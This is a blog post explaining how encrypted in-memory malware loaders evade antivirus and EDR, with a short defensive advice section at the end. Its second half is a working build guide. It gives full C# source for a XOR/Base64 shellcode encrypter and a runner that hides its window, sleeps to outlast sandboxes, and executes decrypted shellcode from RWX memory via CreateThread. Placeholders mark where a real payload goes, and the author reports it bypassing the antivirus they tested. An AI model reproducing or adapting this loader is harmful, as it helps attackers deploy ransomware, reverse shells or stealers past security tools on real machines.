The Loader Is the Malware

Why Payloads Aren’t the Primary Detection Target Anymore

Written by: Iron Hulk Published: December 16, 2025 Iron Hulk

How Encrypted Loaders Deploy Malware in Memory


Introduction: A Real-World Attack?

Imagine a scenario where a seemingly legitimate file, perhaps disguised as a software update, lands on a corporate computer. Once executed, it doesn't do anything obviously malicious. Instead, it silently runs malware and unleashes its true purpose in the computer's memory, disabling security software and deploying ransomware, running a reverse shell or even stealing your data, doing all while leaving minimal traces on the hard drive. This is the work of a sophisticated malware loader, and it represents one of the most effective evasion techniques used by cybercriminals today. This blog post dives into the mechanics of these loaders, explaining what they are, how they bypass modern security, and why their "fileless" or memory-based execution makes them so dangerous.


Why it’s hard to catch

Few stable files to scan; runtime artifacts are fleeting.

What defenders see

A “normal” process until the handoff happens.

Process injection illustration

What is a Loader?

At its core, a loader is a program designed to execute a malicious payload on a machine while bypassing existing security protections. Think of it as a specialized delivery vehicle. Its primary job is not to cause direct harm but to safely transport and deploy a more dangerous "cargo" such as ransomware, information stealers, or backdoors, onto a compromised system. The most advanced loaders enhance their stealth by:

  • Delivering Encrypted Payloads: The malicious payload is hidden using encryption or obfuscation, making it unreadable to security scanners.
  • In-Memory Execution: The payload is decrypted directly into the computer's memory (RAM) and executed there, often without ever being written as a detectable file on the disk.

💡 Key idea: The loader ensures the payload remains unreadable on disk and decrypts it only at runtime, often directly in memory, before handing off execution. In some cases, the loader functions as a staged component. Once executed, it contacts a remote server to retrieve the encrypted payload and then continues execution. This approach leaves the initial loader with no suspicious content on disk.

How Security Tools Work And How Loaders Bypass Them?

To understand why loaders are effective, we must first look at how security tools like antivirus (AV) and Endpoint Detection and Response (EDR) systems try to catch malware. Here is a short explanation

Security Controls vs Loader Blind Spots

Defense Layer Designed Purpose Blind Spot Exploited
Signature & Static Analysis Detects known malicious patterns or hashes on disk. Encrypted payloads remove readable signatures; loaders mutate easily.
Heuristic & Behavioral Analysis Flags suspicious runtime activity. Activity split across stages appears benign early.
IAT Inspection Inspects imported Windows APIs for malicious intent. APIs are resolved dynamically at runtime.
AMSI & ETW Scans scripts and logs events for EDR visibility. Decryption occurs outside monitored engines.
API Hooking Monitors Windows API calls for malicious sequences. Direct syscalls bypass user-mode hooks.

Why Do These Loaders Bypass Security?

Loaders do not “break” security controls; they operate in the blind spots those controls were never designed to fully cover. Each bypass advantage comes from a specific function the loader performs.

  1. 01

    Payload Encryption — Breaking Static Visibility

    Function
    • The loader stores the real payload as encrypted or encoded data.
    • On disk, the payload looks like random bytes or compressed data.
    Why This Works
    • Static inspection is strongest when content is readable.
    • Encrypted data lacks recognizable opcode patterns and signatures.
    • Often resembles legitimate protected/compressed data.
    Security Gap
    • Static scanners can’t assess intent until runtime decryption.
  2. 02

    Delayed Decryption — Avoiding “Scan-on-Write”

    Function
    • Decryption occurs only at execution time, often milliseconds before execution.
    • Some loaders decrypt:
      1. In small chunks.
      2. Just-in-time.
      3. Only after environment checks.
    Why This Works
    • Many defenses trigger when:
      1. A file is written to disk.
      2. A module is loaded from disk.
    • If the decrypted payload is never written as a file, those hooks are skipped.
    Security Gap
    • Controls expect a stable artifact to scan; loaders create only fleeting runtime artifacts.
  3. 03

    Memory-Only Execution — No Persistent Malware File

    Function
    • The decrypted payload executes directly from RAM.
    • The final malware logic may never exist as a standalone executable on disk.
    Why This Works
    • Memory-resident code:
      1. Has no filename.
      2. No hash.
      3. No persistent footprint.
    Security Gap
    • Most legacy defenses were built around files, not memory regions.
  4. 04

    Legitimate Process Context — Trust Inheritance

    Function
    • The loader executes or hosts the payload within:
      1. Its own process.
      2. A trusted system or user process.
    • From the OS perspective, execution happens under a valid, signed process identity.
    Why This Works
    • Security products often apply risk scoring:
      1. Trusted parent process → lower suspicion.
      2. Known binaries → relaxed heuristics.
    • Malicious code inherits the reputation of its host.
    Security Gap
    • Trust is assigned to process identity, not to every memory region inside it.
  5. 05

    Minimal Initial Behavior — Reducing Early Indicators

    Function
    • The loader’s early actions are intentionally simple:
      1. Allocate memory.
      2. Decode data.
      3. Start execution.
    • No obvious malicious actions at stage one.
    Why This Works
    • Behavioral engines often wait for:
      1. Network activity.
      2. Credential access.
      3. Persistence attempts.
    • By the time those occur, the loader has already handed off execution.
    Security Gap
    • Detection engines expect compound malicious behavior.
  6. 06

    Sandbox and Emulator Evasion — Indirect Bypass

    Function
    • Loaders may gate decryption if:
      1. Environment checks.
      2. Timing conditions.
      3. Missing resources.
    • If conditions fail, the payload never decrypts.
    Why This Works
    • Sandboxes are:
      1. Time-limited.
      2. Size-limited.
      3. Environment-simplified.
    • If decryption never happens, analysis sees only encrypted data.
    Security Gap
    • Automated analysis cannot always replicate real execution conditions.
  7. 07

    Reduced Signature Reuse — Breaking IOC-Based Detection

    Function
    • Loaders are small and frequently modified.
    • Encryption keys, blobs, and structure change often.
    Why This Works
    • Hash-based and signature-based detection rely on reuse.
    • If only the loader is seen and it changes often, IOCs decay rapidly.
    Security Gap
    • Detection pipelines optimized for “known bad” struggle with fast mutation.

Closing note: This article does not attempt to catalog every loader technique. It focuses on a small set of representative behaviors to explain why loaders work, not to exhaustively document how they are built.

The Encryption Project

A high-level overview of how payload data is transformed into an encrypted form.


  1. 01

    Convert the payload into raw bytes

    Binary data cannot be safely embedded or moved around in its original form and is easy for security tools to recognize.

  2. 02

    Define a key and convert it to bytes

    Encryption and obfuscation operate at the byte level, not on human-readable strings.

  3. 03

    Apply XOR between payload and key

    XOR changes every byte of the payload into a different value, making it unreadable while still allowing it to be restored later using the same key.

  4. 04

    Repeat the key across the payload

    The payload is usually longer than the key, and this keeps the transformation consistent without increasing code complexity.

  5. 05

    Encode output as Base64

    Base64 converts binary data into safe, printable characters that can be easily copied, stored, or embedded in another program.

  6. Result

    A recognizable payload becomes unreadable text that can be safely hidden and later reconstructed when required.

The Runner Project - Malware Loader with Memory Injection

A high-level overview of how to write your loader to bypass antivirus software "DOESN'T HAVE TO BE ALL".


  1. 01

    Import Windows API Functions for Memory Operations

    Use [DllImport] to access low-level Windows functions from kernel32.dll and user32.dll. Why do we do this?

    1. C# normally runs in a managed, safe environment.
    2. We need direct Windows API access to manipulate memory and processes.
    3. These functions let us allocate executable memory and create threads.
    4. Key functions imported:
                                                          
      VirtualAlloc() = Reserves memory we can execute code from.
      CreateThread() = Creates a new thread to run our code.
      WaitForSingleObject() = Waits for the thread to complete.
      GetConsoleWindow() + ShowWindow() = Hides the console window. 

  2. 02

    Hide the Console Window and Add a Delay

    Get the console window handle and hide it, then sleep for 2 ~ 5 minutes. Because a visible console can alert the user and make the process look suspicious

                                            
    var handle = GetConsoleWindow();
    ShowWindow(handle, 0);                  // 0 = SW_HIDE
    Thread.Sleep(new TimeSpan(0, 2, 0));    // 2 minute delay 


    Evasion reasons:

    1. Hide execution: User won't see a console window pop up.
    2. Avoid sandboxes: Many malware analysis sandboxes only run programs briefly (30-60 seconds).
    3. Wait out detection: Security tools might stop monitoring after initial execution.
    4. Timing-based evasion: Real users might click and walk away; sandboxes often don't wait 2 minutes.

  3. 03

    Decode and Decrypt the Payload

    Take the Base64-encoded encrypted payload, decode it, then XOR-decrypt it.

                                            
    string dataBS64 = "Enc_Payload_Here";                           // 1. Get Base64
    byte[] data = Convert.FromBase64String(dataBS64);               // 2. Decode to bytes
    byte[] keyBytes = Encoding.ASCII.GetBytes("Ir0n7U1k0x69!");     // 3. Prepare key
    byte[] encoded = xor(data, keyBytes);                           // 4. XOR decrypt


    Technical details:

    1. Base64 stored in code = Looks like random text, not binary data.
    2. Convert.FromBase64String() = Turns "hTqzCscK..." into [0x85, 0x3A, 0xB3...].
    3. Same XOR function as before - But now it's decrypting (XOR is symmetric).
      1. If original: shellcode ^ key = encrypted.
      2. Then: encrypted ^ key = shellcode (back to original!).

  4. 04

    Allocate Executable Memory

    Use VirtualAlloc() to reserve memory with execute permissions.

                                            
    IntPtr codeAddr = VirtualAlloc(
    IntPtr.Zero,                        // Let system choose address
    (UInt32)encoded.Length,             // Size of our decrypted shellcode
    0x3000,                             // MEM_COMMIT | MEM_RESERVE (allocate now)
    0x40                                // PAGE_EXECUTE_READWRITE (can execute!)
    );


    Memory protection flags explained:

    1. 0x1000 = MEM_COMMIT = Actually allocate physical/RAM.
    2. 0x2000 = MEM_RESERVE = Reserve address space.
    3. 0x40 = PAGE_EXECUTE_READWRITE = Memory can be read, written, AND executed.
    4. Critical security bypass: Normally, data areas shouldn't be executable (Data Execution Prevention - DEP). This flag bypasses that protection.

    Note: This is a major RED FLAG for virtually every modern antivirus and EDR. On the other hand, is it always malicious? Yes, but it looks like the AV that we have tested doesn't care too much, unlike how other AV or EDR vendors do.


    I'm saying that because if a binary does:

    1. Allocates RWX memory
    2. Writes arbitrary bytes
    3. Executes from heap memory
    4. Then, the antivirus is doing its job by stopping it. Yet, it worked with us 😅

  5. 05

    Copy Shellcode into Memory and Execute It

    Copy decrypted bytes into allocated memory, then create a thread to run it.

                                            
    Marshal.Copy(encoded, 0, codeAddr, encoded.Length);     // Copy shellcode to memory
    IntPtr threadHandle = CreateThread(
    IntPtr.Zero,                                            // Default security
    0,                                                      // Default stack size  
    codeAddr,                                               // Address of our shellcode - THIS IS EXECUTED!
    IntPtr.Zero,                                            // No parameters
    0,                                                      // Start immediately
    IntPtr.Zero                                             // Don't need thread ID
    );


    Thread execution details:

    1. CreateThread() = starts a new thread in the current process.
    2. Thread begins executing at codeAddr (our shellcode location).
    3. Shellcode runs in memory = no file on disk ever contains the decrypted code.
    4. WaitForSingleObject() pauses the main program until the shellcode finishes.


    What the shellcode typically does "any-of-this":

    1. Download additional malware.
    2. Establish reverse shell connection.
    3. Install persistence mechanisms.
    4. Encrypt files (ransomware).

  6. 06

    Starts a new thread

    because that’s how it transfers control to the payload bytes as if they were a function.

                                            
    // Start running code beginning at codeAddr
    threadHandle = CreateThread(IntPtr.Zero, 0, codeAddr, IntPtr.Zero, 0, IntPtr.Zero);
    
    // waits indefinitely for the payload thread to finish
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);
  7. One-line summary

    This program hides its window, sleeps, Base64-decodes and XOR-decrypts an embedded payload, allocates executable memory, copies the payload into it, executes it via a new thread.

Demo

The project requires additional tuning. At the moment, it bypasses only the antivirus solutions listed below. With further refinement and a solid understanding of how antivirus and EDR technologies operate, it is possible to remain under the radar and successfully execute the payload.


Payload Encryption

XOR Encryption

<>

Encryption Project

C#
                                                
// Project: Payload XOR Encryption
// Author: Iron Hulk

using System;
using System.Text;

namespace Encrypter
{
    internal class Program
    {
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
        static void Main(string[] args)
        {
            string key = "IronHulk_0xff!"; //Change This
            byte[] keyBytes = Encoding.ASCII.GetBytes(key); 

            // Original payload here
            byte[] buf = new byte[3] { 0xfc, 0x48, 0x83, };  //Change This
            byte[] encoded = xor(buf, keyBytes); 
            Console.WriteLine(Convert.ToBase64String(encoded));
        }
    }
}

Loader

XOR Decryption

<>

Loader Project

C#
                                                
// Project: Loader
// Author: Iron Hulk

using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;

public class Program
{
    [DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint Size, uint flAllocationType, uint flProtect);

    [DllImport("kernel32")]
        private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    [DllImport("kernel32")]
        static extern IntPtr GetConsoleWindow();
    [DllImport("user32")]
        public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    private static byte[] xor (byte[] shell, byte[] KeyBytes)
    {
        for (int i = 0; i < shell.Length; i++)
        {
            shell[i] ^= KeyBytes[i % KeyBytes.Length];
        }
        return shell;
    }
    public static void Main()
    {
        var handle = GetConsoleWindow();
        ShowWindow(handle, 0);
        // Time in hours, minutes, seconds
        TimeSpan ts = new TimeSpan(0, 2, 0);
        Thread.Sleep(ts);
        string dataBS64 = "Enc_Payload_Here";  //Change This
        byte[] data = Convert.FromBase64String(dataBS64);
        string key = "IronHulk_0xff!";  //Change This
        byte[] keyBytes = Encoding.ASCII.GetBytes(key);
        byte[] encoded = xor (data, keyBytes);
        IntPtr codeAddr = VirtualAlloc(IntPtr.Zero, (UInt32)encoded.Length, 0x3000, 0x40);
        Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
        IntPtr threadHandle = IntPtr.Zero;
        IntPtr parameter = IntPtr.Zero;
        threadHandle = CreateThread(IntPtr.Zero, 0, codeAddr, parameter, 0, IntPtr.Zero);
        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }
}

!

Security Advice: Don’t Trust a Binary Just Because It Runs

Running a binary gives it full control to do whatever it can within your account's limits. Once it starts working, the operating system can't tell the difference between what it's supposed to do and what it's secretly doing. Antivirus programs can help, but they don't guarantee that something is safe. A file might look clean when it's just sitting there, but it can become harmful once it starts running. Many new dangers stay hidden by using encrypted code, short-lived actions, or only working in memory. Always think about why you're running something. A program should act the way it's supposed to. If a simple tool hides its window, delays starting, creates other programs, changes memory, or deletes itself, that's a big red flag, no matter what it's called or how well-known it is. Treat any unknown binary as if it's not trustworthy. Don't run it with extra permissions, and never think that not getting any warnings means it's safe. Watch out for how it behaves, not just what it does. Strange network activity, unexpected pauses, running in the background, or changes that stay after it's done are all signs you should pay attention to. Relying on just one security measure leaves you unprotected. True safety comes from using multiple layers: limiting access, controlling how programs run, keeping your system up to date, and knowing what normal behavior looks like on your computer.

This is a very well-known technique, and yet it worked with us, so when something feels unnecessary or out of place, just stop the execution or kill the process. Caution is free; recovery is not.